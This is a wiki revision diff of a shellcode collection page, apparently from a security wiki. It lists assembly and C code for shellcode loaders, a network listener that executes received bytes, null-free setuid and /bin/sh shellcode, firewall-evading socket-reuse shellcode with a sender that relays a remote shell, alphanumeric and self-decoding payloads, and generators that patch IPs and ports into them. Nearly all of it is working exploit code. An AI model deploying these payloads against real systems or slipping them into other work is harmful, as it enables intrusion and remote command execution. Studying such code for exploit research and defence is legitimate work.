Revision as of 00:18, 25 November 2012 (view source) LashawnSeccombe (Talk | contribs) (→‎./socket-reuse/socket-reuse.as) ← Older edit		Latest revision as of 19:07, 25 May 2013 (view source) JtRIPper (Talk | contribs) (→‎Generators)
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−	{{info|<center>Code found here is also available for download in the [[shellcodecs]] package.</center>}}	+	{{social}}
−	== [[Shellcode/Loaders|Loaders]] ==
−	=== loader-32.s ===	+	<font size="-2">Special thanks to [[User:Hatter|hatter]] and [[User:JtRIPper|jtripper]] for their contributions to this article.</font>
−	* '''Description''': 32-bit executable mmap-based shellcode loader	+
−	{{code|text=<source lang="asm">	+
−	</source>}}	+	= [[Shellcode/Loaders|Loaders]] =
		+	'''Documentation''': [[Shellcode/Loaders|shellcode loaders]]
−	=== loader-64.s ===	+	'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]]
−	* '''Description''': 64-bit executable mmap-based shellcode loader	+
−	* '''Documentation''': [[Shellcode/Loaders|shellcode loader]]	+
−	{{code|text=<source lang="asm">	+
−	</source>}}	+
−	=== dynamic-loader.c ===	+	== loader-64.s ==
−	* '''Description''':	+	'''Description''': 64-bit ''mmap-based'' executable shellcode loader (returns to shellcode)
−	{{code|text=<source lang="C">	+
−	</source>}}	+
−	=== socket-loader.c ===	+	{{code|text=<source lang="asm"># 79 bytes
−	* '''Description''':	+
−	{{code|text=<source lang="C">	+
−	</source>}}	+
−	== [[null-free shellcode|Null-free]] ==	+	.section .data
		+	.section .text
		+	.globl _start
		+
		+	_start:
		+	pop %rbx  # argc
		+	pop %rbx  # arg0
		+	pop %rbx  # arg1 pointer
−	=== setuid_binsh.s ===	+	push $0x9
		+	pop %rax
		+
		+	xor %rdi, %rdi
		+	push %rdi
		+	pop %rsi
		+	inc %rsi
		+	shl $0x12, %rsi
		+	push $0x7
		+	pop %rdx
		+	push $0x22
		+	pop %r10
		+
		+	push %rdi
		+	push %rdi
		+	pop %r8
		+	pop %r9
		+
		+	syscall  # The syscall for the mmap().
		+	inject:
		+	xor %rsi, %rsi
		+	push %rsi
		+	pop %rdi
		+
		+	inject_loop:
		+	cmpb %dil, (%rbx, %rsi, 1)
		+	je inject_finished
		+	movb (%rbx, %rsi, 1), %r10b
		+	movb %r10b, (%rax,%rsi,1)
		+	inc %rsi
		+	jmp inject_loop
		+
		+	ret_to_shellcode:
		+	push %rax
		+	ret
		+
		+	inject_finished:
		+	inc %rsi
		+	movb $0xc3, (%rax, %rsi, 1)
		+	call ret_to_shellcode
		+	exit:
		+	push $60
		+	pop %rax
		+	xor %rdi, %rdi
		+	syscall
		+	</source>}}
		+	== loader-32.s ==
		+	'''Description''': 32-bit ''mmap-based'' executable shellcode loader (returns to shellcode)
		+	{{code|text=<source lang="asm">
		+	# 66 bytes
		+	.section .data
		+	.section .text
		+	.global _start
		+	_start:
		+	pop %edi
		+	pop %edi
		+	pop %edi                      #get arg1 pointer (shellcode)
		+	push $90
		+	pop %eax                      #mmap() syscall number
		+	xor %ebx, %ebx
		+	push %ebx
		+	push %ebx                    #args 5/6 (null)
−	= Generators =	+	push $0x22                    #arg 4
−	== ./generators/fd-reuse-output-formatter.py ==	+	push $0x7                    #arg 5
		+
		+	push %ebx
		+	pop %ecx
		+	inc %ecx
		+	shl $0x12, %ecx
		+	push %ecx                    #arg2 (0x1000)
−	{{code|text=<source lang="python">	+	push %ebx                    #arg1 (null)
−	#!/usr/bin/python	+
−	import re	+
−	print("shellcode_1 = \\")	+	mov %esp, %ebx                #move pointer to args to ebx for mmap()
−	for lin in re.findall(".?"*65, input()):	+	int $0x80
−	if "\\\\x80\\\\xff\\\\xff\\\\xfe" in lin:	+
−	tmp = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[0]	+
−	tmp2 = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[1]	+
−	print("\"" + tmp + "\"\n")	+
−	print("shellcode_2 =\\")	+
−	print("\"" + tmp2 + "\"\\")	+
−	elif "\\\\xfb\\\\x2d" in lin:
−	tmp = lin.split("\\\\xfb\\\\x2d")[0]
−	tmp2 = lin.split("\\\\xfb\\\\x2d")[1]
−	print("\"" + tmp + "\"\n")
−	print("shellcode_3 =\\")
−	print("\"" + tmp2 + "\"\\")
−	elif lin == "":	+	inject:
−	continue	+	xor %esi, %esi
		+	push %esi
		+	pop %edx                      #zero out esi and edx
−	else:	+	inject_loop:
−	print("\"" + lin + "\" \\")	+	cmpb %dl, (%edi, %esi, 1)
−	</source>}}	+	je inject_finished
		+	movb (%edi, %esi, 1), %cl
		+	movb %cl, (%eax, %esi, 1)
		+	inc %esi
		+	jmp inject_loop              #places shellcode into mmap() memory
−	== ./generators/socket-reuse-generator.py ==	+	ret_to_shellcode:
−	{{code|text=<source lang="python">	+	push %eax                    #pushes mmap memory address and returns to it
−	#!/usr/bin/python2.7	+	ret
−	import re, sys	+
−	def convert_ip(ip):	+	inject_finished:
−	ip = ip.split('.')	+	inc %esi
−	new_addr = ""	+	movb $0xc3, (%eax, %esi, 1)  #adds ret to the code code so that loader can exit
−	for i in ip:	+	call ret_to_shellcode
−	new_addr += "\\x" + hex(0xff ^ int(i))[2:]	+
−	return new_addr	+
−	def convert_port(port):	+	exit:
−	port = hex(0xffff ^ int(port))[2:]	+	xor %eax, %eax
−	port1 = port[0:2]	+	mov %eax, %ebx
−	port2 = port[2:4]	+	inc %eax
−	return "\\x" + port1 + "\\x" + port2	+	int $0x80               #exit
−		+
−		+
−	shellcode_1 = \	+
−	"\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d\\x72\\x04" \	+
−	"\\x66\\xff\\xc7\\x74\\xe7\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xea" \	+
−	"\\x6a\\x1b\\x59\\xbb"	+
−		+
−		+
−	shellcode_2 = "\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xdb\\xb1\\x35\\x66"	+
−		+
−	shellcode_3 = \	+
−	"\\xff\\xf7\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xcd\\x50\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \	+
−	"\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \	+
−	"\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"	+
−		+
−	if len(sys.argv) != 3:	+
−	print("Usage: " + sys.argv[0] + " <source IP> <source port>")	+
−	exit()	+
−		+
−	shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3	+
−	for lin in re.findall(".?"*64, shellcode):	+
−	if lin != "":	+
−	print("\"" + lin + "\"")	+
	</source>}}		</source>}}
−	== ./generators/shellcode-generator.py ==
−	{{code|text=<source lang="python">
−	#!/usr/bin/python2
−	import os
−	import re
−	import argparse
−	def extract(path):	+	== dynamic-loader.c ==
−	if os.system("as -o %s.o %s.s" % (path, path)) == 1:	+
−	exit()	+
−	if os.system("ld -o %s %s.o" % (path, path)) == 1:	+	'''Description''': Dynamically linked ''mmap-based'' executable shellcode loader (contains GOT)
−	exit()	+	{{code|text=<source lang="c">#include <stdio.h>
		+	#include <sys/mman.h>
		+	#include <string.h>
−	shellcode = ""	+	int main(int argc, char *argv[])
−	for line in os.popen("objdump -d %s" % path).readlines():	+	{
−	for byte in line.split():	+	int (*fp)();
−	if re.match("^[a-f0-9][a-f0-9]$", byte):	+	void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
−	shellcode += chr(int(byte, 16))	+	memcpy(mem, argv[1], strlen(argv[1]));
−	return shellcode	+	fp = (int(*)())mem;
−		+	(int)(*fp)();
−	if __name__=="__main__":	+	}
−	parser = argparse.ArgumentParser()	+
−	parser.add_argument('--file', required=True)	+
−	parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)")	+
−	parser.add_argument('--raw', action='store_true', help="Output in raw format")	+
−	parser.add_argument('--var', action='store_true', help="Output as a variable")	+
−	parser.add_argument('--len', action='store_true', help="Output the length")	+
−	args = parser.parse_args()	+
−		+
−	shellcode = extract(args.file.split('.')[0])	+
−		+
−	if args.hex:	+
−	tmp = ""	+
−	for byte in shellcode:	+
−	tmp += "\\x%.2x" % ord(byte)	+
−	print tmp	+
−		+
−	elif args.raw:	+
−	print shellcode	+
−		+
−	elif args.var:	+
−	print "char shellcode[] = {"	+
−		+
−	tmp = ""	+
−	for byte in shellcode:	+
−	tmp += "\\x%.2x" % ord(byte)	+
−		+
−	for line in re.findall(".?"*64, tmp):	+
−	if line != "":	+
−	print("\"" + line + "\" \\")	+
−		+
−	else:	+
−	parser.print_help()	+
−	exit()	+
−		+
−	if args.len:	+
−	print "Length: %d bytes" % len(shellcode)	+
	</source>}}		</source>}}
−	== ./generators/hash-generator.s ==	+	== socket-loader.c ==
−	{{code|text=<source lang="asm">	+	'''Description''': Dynamically linked ''mmap and socket based'' executable shellcode loader (contains GOT)
−	.text	+	{{code|text=<source lang="c">
−	.globl _start	+	#include <stdio.h>
−	_start:	+	#include <stdlib.h>
−	jmp startup	+	#include <string.h>
		+	#include <sys/mman.h>
		+	#include <unistd.h>
		+	#include <sys/types.h>
		+	#include <sys/socket.h>
		+	#include <netinet/in.h>
		+
		+	void error(const char *msg) {
		+	perror(msg);
		+	exit(1);
		+	}
		+
		+	void execute(char *buffer) {
		+	void (*mem)() = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
		+	memcpy(mem, buffer, strlen(buffer));
		+	(*mem)();
		+	}
		+
		+	int main(int argc, char *argv[]) {
		+	char buffer[1024];
		+	int serverfd, clientfd;
		+	socklen_t client_len;
		+	struct sockaddr_in server_addr, client_addr;
		+	client_len = sizeof(client_addr);
−	calc_hash:	+	if (argc != 2) {
−	push %rax	+	printf("Usage: %s <port>\n", argv[0]);
−	push %rdx	+	exit(1);
		+	}
−	initialize_regs:	+	server_addr.sin_family = AF_INET;
−	push %rdx	+	server_addr.sin_addr.s_addr = INADDR_ANY;
−	pop %rax	+	server_addr.sin_port = htons(atoi(argv[1]));
−	cld	+
−	calc_hash_loop:	+	if((serverfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
−	lodsb	+	error(" [!] opening socket");
−	rol $0xc, %edx	+
−	add %eax, %edx	+
−	test %al, %al	+
−	jnz calc_hash_loop	+
−	calc_done:	+	if (bind(serverfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
−	push %rdx	+	error(" [!] bind()");
−	pop %rsi	+
−	pop %rdx	+	if (listen(serverfd, 0) < 0)
−	pop %rax	+	error(" [!] listen()");
−	ret	+
−		+
−	startup:	+
−	pop %rax	+
−	pop %rax	+
−	pop %rsi	+
−		+
−	xor %rdx, %rdx	+
−	call calc_hash	+
−		+
−	push %rsi	+
−	mov %rsp, %rsi	+
−	mov $0x1, %rax	+	if ((clientfd = accept(serverfd, (struct sockaddr *)&client_addr, &client_len)) < 0)
−	mov $0x1, %rdi	+	error(" [!] accept()");
−	mov $0x4, %rdx	+
−	syscall	+	printf(" [*] Received %d bytes, executing.\n", read(clientfd,buffer,1024));
−		+	execute(buffer);
−	mov $0x3c, %rax	+
−	mov $0x0, %rdi	+	printf(" [*] Closing sockets.\n");
−		+	close(clientfd);
−	syscall	+	close(serverfd);
		+	return 0;
		+	}
	</source>}}		</source>}}
−	== ./generators/poly-socket-reuse-generator.py ==	+	= [[Shellcode/Null-free|Null-free]] =
−	{{code|text=<source lang="python">	+
−	#!/usr/bin/python2.7	+
−	import re, sys	+
−	def convert_ip(ip):	+	'''Documentation''': [[Shellcode/Null-free|null-free shellcode]]
−	ip = ip.split('.')	+
−	new_addr = ""	+
−	for i in ip:	+
−	new_addr += "\\x%.2x" % int(i)	+
−	return new_addr	+
−	def convert_port(port):	+	== write-file-32.s ==
−	port = "%.4x" % int(port)	+	'''Description''': Null-free file writing shellcode
−	port1 = port[0:2]	+
−	port2 = port[2:4]	+
−	return "\\x" + port1 + "\\x" + port2	+
−		+
−		+
−	shellcode_1 = \	+
−	"\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48" \	+
−	"\\x03\\x4b\\x10\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f" \	+
−	"\\x45\\x4c\\x46\\x75\\xf5\\xeb\\x3d\\x68\\x80\\x47\\x6c\\x69\\x5e" \	+
−	"\\xff\\xd1\\x48\\x31\\xff\\xff\\xd5\\x59\\x31\\xf6\\xbe\\xf7\\x01" \	+
−	"\\xcc\\xf8\\xff\\xd1\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \	+
−	"\\x02\\x10\\x48\\x8d\\x72\\x04\\x66\\xff\\xc7\\x74\\xd5\\x48\\x8d" \	+
−	"\\x62\\x14\\x48\\x83\\xec\\x20\\x51\\xff\\xd5\\x59\\x84\\xc0\\x75" \	+
−	"\\xeb\\xeb\\x02\\xeb\\x57\\x6a\\x1b\\x41\\x58\\xb8"	+
−		+
−	shellcode_2 = "\\x42\\x39\\x04\\x84\\x75\\xd8\\x41\\xb0\\x35\\x66\\xb8\\xfb"	+
−		+
−	shellcode_3 = \	+
−	"\\x66\\x42\\x39\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70" \	+
−	"\\x5e\\xff\\xd1\\x48\\x31\\xd2\\x52\\x52\\x5e\\x51\\xff\\xd5\\x59" \	+
−	"\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbe\\x37\\xbb\\x6b\\xf6\\xff" \	+
−	"\\xd1\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62" \	+
−	"\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff" \	+
−	"\\xd5\\xe8\\x72\\xff\\xff\\xff\\x52\\x48\\x31\\xd2\\x57\\x50\\x53" \	+
−	"\\x56\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \	+
−	"\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b" \	+
−	"\\x5b\\x18\\x48\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01" \	+
−	"\\xc6\\x50\\x52\\x52\\x58\\xfc\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84" \	+
−	"\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7\\x75\\xdd\\x48\\x03" \	+
−	"\\x6c\\x93\\x08\\x5b\\x58\\x5f\\x5a\\xc3"	+
−		+
−	if len(sys.argv) != 3:	+
−	print("Usage: " + sys.argv[0] + " <source IP> <source port>")	+
−	exit()	+
−		+
−	shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 + "\\x34"	+
−	print shellcode	+
−	#for lin in re.findall(".?"*64, shellcode):	+
−	#  if lin != "":	+
−	#    print("\"" + lin + "\"")	+
−	</source>}}	+
−	== ./null-free/write-file-32.s ==
	{{code|text=<source lang="asm">		{{code|text=<source lang="asm">
	# 90 bytes		# 90 bytes
Line 329:		Line 273:
	pop %ebx                #and put it in ebx		pop %ebx                #and put it in ebx
	int $0x80              #and exit		int $0x80              #and exit
−	== ./null-free/setuid_binsh.as ==	+	</source>}}
−	# 34 bytes	+	== setuid_binsh.s ==
		+	'''Description''': null-free setuid(0); execve('/bin/sh') shellcode
		+
		+	{{code|text=<source lang="asm">
		+	# 32 bytes
	.text		.text
	.globl _start		.globl _start
	_start:		_start:
−	xor %rdi, %rdi                 # Zero out %rdi (first argument)	+	xor   %rdi,%rdi
−	push $0x69	+	pushq  $0x69
−	pop %rax                       # Set %rax to function number for setuid()	+	pop    %rax
−	syscall                        # setuid(0);	+	syscall
		+
		+	push  %rdi
		+	push   %rdi
		+	pop    %rsi
		+	pop    %rdx
		+	pushq  $0x68
		+	movabs $0x7361622f6e69622f,%rax
		+	push  %rax
		+	push  %rsp
		+	pop   %rdi
		+	pushq  $0x3b
		+	pop    %rax
		+	syscall
		+	</source>}}
		+
		+	= [[Shellcode/Environment|Environment]] =
		+
		+	'''Documentation''': [[Shellcode/Environment|environment]]
		+
		+	== getpc-64.s ==
		+	'''Description''': 64-bit getpc
		+
		+	{{code|text=<source lang="asm">
		+	# 12 - bytes
		+
		+	jmp startup
		+	getpc:
		+	mov (%rsp), %rax
		+	ret
		+	startup:
		+	call getpc      # the %rax register now contains %rip on the next line
		+	</source>}}
		+
		+	== getpc-64-alt.s ==
		+	'''Description''': Alternative 64-bit getpc method
		+
		+	{{code|text=<source lang="asm">
		+	# 10 bytes
		+
		+	jmp startup
		+	pc:
		+	nop
		+	startup:
		+	lea -1(%rip), %rax  # the %rax register now contains the address of `pc'.
		+	</source>}}
		+
		+	== getpc-32.s ==
		+	'''Description''': 32-bit getpc
		+
		+	{{code|text=<source lang="asm"># 11 bytes
		+	jmp startup
		+	getpc:
		+	mov (%esp), %eax
		+	ret
		+	startup:
		+	call getpc      # the %eax register now contains %eip on the next line
		+	</source>}}
		+
		+	== int3-detect-64.s ==
		+	'''Description''': Breakpoint detection shellcode
		+
		+	{{code|text=<source lang="asm">
		+	# 24 bytes
		+
		+	.text
		+	.global _start
		+	_start:
		+	jmp startup
		+	go_retro:
		+	pop %rcx
		+	inc %rcx
		+	jmp *%rcx
		+
		+	startup:
		+	call go_retro
		+
		+	volatile_segment:
		+	push $0x3458686a
		+	push $0x0975c084
		+	nop
		+	</source>}}
		+
		+	== lastcall-32.s ==
		+	'''Description''': 32-bit last call example
		+
		+	{{code|text=<source lang="asm">
		+	# 4 bytes
		+
		+	mov -0x4(%esp), %eax
		+	</source>}}
		+
		+	== lastcall-64.s ==
		+	'''Description''': 64-bit last call example
		+
		+	{{code|text=<source lang="asm">
		+	# 5 bytes
		+
		+	mov -0x8(%rsp), %rax
		+	</source>}}
		+
		+	== lastcall-alphanum.s ==
		+	'''Description''': Alphanumeric last call example
		+
		+	{{code|text=<source lang="asm">
		+	# 13 bytes
		+
		+	.text
		+	.global _start
		+	_start:
		+	pop %rax
		+	push %rsp                # move pointer to %rsp into %rax
		+	pop %rax
		+	xor $0x65,%al            # subtract 0x10 from %rax
		+	xor $0x75,%al
		+	xor %rsi,(%rax)
		+	xor (%rax),%rsi          # move address to last instruction into %rax
		+	</source>}}
		+
		+	= [[Shellcode/Socket-reuse|Socket-reuse]] =
		+
		+	'''Documentation''': [[Shellcode/Socket-reuse|socket reuse documentation]]
		+
		+	== socket-reuse.s ==
		+	'''Description''': socket reusing shellcode to bypass firewalls
		+
		+	{{code|text=<source lang="asm">
		+	# 117 bytes
		+	.section .data
		+	.section .text
		+	.globl _start
		+	_start:
		+	jmp start
		+
		+	exit:
		+	push $0x3c
		+	pop %rax
		+	syscall
		+
		+	start:
		+	push $0x02
		+	pop %rdi
		+
		+	make_fd_struct:
		+	lea -0x14(%rsp), %rdx
		+	movb $0x10, (%rdx)
		+	lea 0x4(%rdx), %rsi # move struct into rsi
		+
		+	loop:
		+	inc %edi
		+	test %di, %di # loop until 65535 then exit
		+	je exit
		+
		+	stack_fix:
		+	lea 0x14(%rdx), %rsp
		+
		+	get_peer_name:
		+	sub $0x20, %rsp
		+	push $0x34
		+	pop %rax
		+	syscall
		+
		+	check_pn_success:
		+	test %al, %al
		+	jne loop
		+
		+	# If we make it here, rbx and rax are 0
		+	check_ip:
		+	push $0x1b
		+	pop %rcx
		+	mov $0xfeffff80, %ebx
		+	not %ebx
		+	cmpl %ebx, (%rsp,%rcx,4)
		+	jne loop
		+
		+	check_port:
		+	movb $0x35, %cl
		+	mov $0x2dfb, %bx
		+	not %bx
		+	cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2)
		+	jne loop
		+
		+	reuse:
		+	push %rax
		+	pop %rsi
		+
		+	dup_loop:      # redirect stdin, stdout, stderr to socket
		+	push $0x21
		+	pop %rax
		+	syscall
		+	inc %esi
		+	cmp $0x4, %esi
		+	jne dup_loop
		+
		+	execve:
		+	pop %rdi
	push %rdi		push %rdi
	push %rdi		push %rdi
Line 353:		Line 496:
	syscall                        # execve('/bin/sh',null,null);		syscall                        # execve('/bin/sh',null,null);
	</source>}}		</source>}}
−	= Self-modifying =	+
−	== ./self-modifying/packer.as ==	+	== socket-reuse-send.c ==
		+	'''Description''': sends socket reuse shellcode
		+
		+	{{code|text=<source lang="C">
		+	#include <sys/socket.h>
		+	#include <stdio.h>
		+	#include <stdlib.h>
		+	#include <unistd.h>
		+	#include <string.h>
		+	#include <sys/types.h>
		+	#include <netinet/in.h>
		+	#include <netdb.h>
		+
		+	// source: 127.0.0.1:1234
		+	char shellcode[] = {
		+	"\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
		+	"\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62"
		+	"\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b"
		+	"\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66"
		+	"\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21"
		+	"\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48"
		+	"\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f"
		+	"\x6a\x3b\x58\x0f\x05"
		+	};
		+
		+	void error(char *err) {
		+	perror(err);
		+	exit(0);
		+	}
		+
		+	int main(int argc, char *argv[]) {
		+	struct sockaddr_in server_addr, bind_addr;
		+	struct hostent* server, *_bind;
		+	char buf[1024], inbuf[1024];
		+	int sock;
		+
		+	_bind = gethostbyname(argv[3]);
		+	bind_addr.sin_family = AF_INET;
		+	bind_addr.sin_port  = htons(atoi(argv[4]));
		+	memcpy(&bind_addr.sin_addr.s_addr, _bind->h_addr, _bind->h_length);
		+
		+	server = gethostbyname(argv[1]);
		+	server_addr.sin_family = AF_INET;
		+	memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
		+	server_addr.sin_port = htons(atoi(argv[2]));
		+
		+	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		+	error(" [!] socket()");
		+
		+	if (bind(sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0)
		+	error(" [!] bind()");
		+
		+	printf(" [*] Connecting to %s\n", argv[1]);
		+	if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
		+	error(" [*] connect()");
		+
		+	printf(" [*] Sending payload\n");
		+	if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0)
		+	error(" [!] write()");
		+
		+	while(fgets(buf, 1024, stdin) != NULL) {
		+	if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0)
		+	error(" [!] write(): ");
		+	if (recv(sock, inbuf, 1024, 0) < 0)
		+	error(" [!] read(): ");
		+	printf("%s", inbuf);
		+	memset(inbuf, 0, 1024);
		+	memset(buf, 0, 1024);
		+	}
		+
		+	return 0;
		+	}
		+	</source>
		+	}}
		+
		+	= [[Shellcode/Self-modifying|Self-modifying]] =
		+
		+	'''Documentation''': [[Shellcode/Self-modifying|self-modifying code]]
		+
		+	'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]], [[Shellcode/Loaders|shellcode loading documentation]], [[#Loaders|shellcode loaders]]
		+
		+	== packer.s ==
		+	'''Description''': Shellcode packer
		+
	{{code|text=<source lang="asm"># 55 bytes		{{code|text=<source lang="asm"># 55 bytes
	.section .data		.section .data
Line 391:		Line 617:
	</source>}}		</source>}}
−	== ./self-modifying/decoder-no-mmap.as ==	+	== decoder-no-mmap.s ==
		+	'''Description''': Unpacker without ''mmap''
		+
	{{code|text=<source lang="asm"># 69 bytes		{{code|text=<source lang="asm"># 69 bytes
	jmp start		jmp start
Line 435:		Line 663:
	syscall		syscall
	</source>}}		</source>}}
−	== ./self-modifying/decoder.as ==	+	== decoder.s ==
		+	'''Description''': Shellcode unpacker using ''mmap''
		+
	{{code|text=<source lang="asm"># 102 bytes		{{code|text=<source lang="asm"># 102 bytes
	jmp start		jmp start
Line 501:		Line 731:
	</source>}}		</source>}}
−	== ./self-modifying/packer-32.s ==	+	== packer-32.s ==
		+	'''Description''': 32-bit shellcode packer
		+
	{{code|text=<source lang="asm">		{{code|text=<source lang="asm">
	# 37 bytes		# 37 bytes
Line 540:		Line 772:
	int $0x80                        #exits		int $0x80                        #exits
	</source>}}		</source>}}
−	== ./self-modifying/decoder-32.s ==	+	== decoder-32.s ==
		+	'''Description''': 32-bit shellcode decoder
		+
	{{code|text=<source lang="asm"># 89 bytes		{{code|text=<source lang="asm"># 89 bytes
	.section .data		.section .data
Line 618:		Line 852:
	int $0x80		int $0x80
	</source>}}		</source>}}
−	= Dynamic =	+
−	== ./dynamic/poly-linker-fd-reuse.s ==	+	= [[Shellcode/Alphanumeric|Alphanumeric]] =
		+
		+	'''Documentation''': [[Shellcode/Alphanumeric|alphanumeric shellcode]]
		+
		+	'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]]
		+
		+	== architecture_detection ==
		+	'''Description''': Alphanumeric architecture detection shellcode
		+
		+	TX4HPZTAZAYVH92
		+
		+	== binsh.s ==
		+	'''Description''': Alphanumeric /bin/sh shellcode
		+
		+	{{code|text=<center>''Assembled x64'' <br />'''XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00'''</center>}}
		+	{{code|text=<source lang="asm"># 104 bytes
		+	.text
		+	.global _start
		+	_start:
		+	pop %rax
		+	push %rsp
		+	pop %rax
		+	xor $0x65,%al
		+	xor $0x75,%al
		+	xor %rsi, (%rax)  # mov emulated into rsi
		+	xor (%rax), %rsi
		+	push %rsi
		+	pop %rcx
		+	pushq $0x3030474a
		+	pop %rax
		+	xor %eax,0x64(%rcx)
		+	push %rsp
		+	pop %rcx
		+	pop %rax
		+	movslq 0x30(%rcx),%rsi
		+	xor %esi,0x30(%rcx)
		+	movslq 0x34(%rcx),%rsi
		+	xor %esi,0x34(%rcx)
		+	movslq 0x30(%rcx),%rdi
		+	movslq 0x30(%rcx),%rsi
		+	push %rdi
		+	pop %rdx
		+	pushq $0x5a58555a
		+	pop %rax
		+	xor $0x34313775,%eax
		+	xor %eax,0x30(%rcx)
		+	pushq $0x6a51475a
		+	pop %rax
		+	xor $0x6a393475,%eax
		+	xor %eax,0x34(%rcx)
		+	xor 0x30(%rcx),%rdi
		+	pop %rax
		+	push %rdi
		+	pushq $0x58
		+	movslq (%rcx),%rdi
		+	xor (%rcx),%rdi
		+	pop %rax
		+	push %rsp
		+	xor (%rcx),%rdi
		+	xor $0x63,%al
		+	rex.RB
		+	rex.X xor %sil,(%rax)</source>}}
		+
		+	= [[Shellcode/Parsing|Parsing]] =
		+	'''Documentation''': [[Shellcode/Parsing|ELF parsing shellcode]]
		+
		+	== elf64-parser.s ==
		+	'''Description''': ELF64 symbol parser
		+
		+	{{code|text=<source lang="asm"># 188 bytes
		+	.section .data
		+	.section .text
		+
		+	.globl _start
		+
		+	_start:
		+	jmp startup
		+
		+	strlen:
		+	xor %rdx, %rdx
		+
		+	next_byte:
		+	inc %rdx
		+	cmpb $0x00, (%rsi,%rdx,1);
		+	jne next_byte
		+	ret
		+
		+	getpc:
		+	mov (%rsp), %rax
		+	ret
		+
		+	startup:
		+	xor %r15, %r15
		+	push $0x0a0a0a
		+	mov %rsp, %r15
		+	call getpc
		+	dec %rax
		+	xor %rcx, %rcx
		+	push $0x2
		+	pop %rsi
		+
		+	find_header:
		+	cmpl $0x464c457f, (%rax,%rcx,4)  # Did we find our ELF base pointer?
		+	je find_sections
		+	dec %rax
		+	jmp find_header
		+
		+	find_sections:
		+	# %rax now = base pointer of ELF image.
		+	xor %rbx, %rbx
		+	add $0x28, %bl
		+	xorl (%rax,%rbx,1), %ecx            # %rcx = offset to section headers
		+	addq %rax, %rcx                      # %rcx = absolute address to section headers
		+
		+	# each section header is 0x40 bytes in length.
		+	next_section:
		+	xor %rbx, %rbx
		+	xor %rbp, %rbp
		+	add $0x40, %rcx
		+	# %rcx now = address to first entry
		+	add $0x04, %bl
		+	xor (%rcx,%rbx,1), %ebp              # %rbp now contains type
		+	cmp $0x02,  %bpl
		+	jne next_section
		+
		+	found_symbols:
		+	xor %r8, %r8
		+	mov %rcx, %r8                        # %rcx = pointer to top of symbol section header
		+	add $0x40, %r8                      # %r8  = pointer to top of string table section header
		+
		+	xor %rbx, %rbx
		+	xor $0x18, %bl                      # pointer to actual section is $0x18 bytes from header base
		+
		+	xor %r9, %r9
		+	xor %r10, %r10
		+	xor (%rcx,%rbx,1), %r9
		+	xor (%r8,%rbx,1), %r10
		+	addq %rax, %r9                      # r9 should now point to the first symbol
